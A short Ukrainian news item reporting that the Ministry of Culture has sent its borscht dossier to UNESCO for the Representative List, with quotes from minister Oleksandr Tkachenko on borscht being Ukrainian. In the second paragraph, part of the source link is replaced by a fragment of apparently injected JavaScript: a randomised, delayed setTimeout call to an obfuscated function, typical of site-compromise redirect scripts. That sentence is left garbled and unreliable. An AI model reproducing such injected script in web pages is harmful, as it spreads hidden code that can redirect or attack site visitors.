Досьє «Культура приготування українського борщу» прямує в Париж для включення до Репрезентативного списку ЮНЕСКО.

Міністерство культури України направило до офісу ЮНЕСКО досьє на борщ, що дозволить включити страву до списку культурної спадщини світу. Про це andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andr.tkachenko.ua/posts/3970520499682189″ target=”_blank” rel=”nofollow noopener noreferrer”>повідомив міністр культури та інформаційної політики Олександр Ткаченко у Facebook.

«Ми стали ще ближче до внесення борщу до нематеріальної спадщини ЮНЕСКО! Фінішна пряма. Наразі досьє «Культура приготування українського борщу» прямує до Парижа для включення до Репрезентативного списку ЮНЕСКО. Cподіваємося, потрапити до нього якнайшвидше. Маємо всі перспективи», – розповів Ткаченко.

Міністр наголосив, що це дозволить закріпити статус борщу як саме української страви.

«Український борщ – українська національна страва, якій немає конкурентів. Досить маніпулювати і на ґрунті «російськості» борщу, бо правди не зміниш. Борщ – наш», – підкреслив Ткаченко.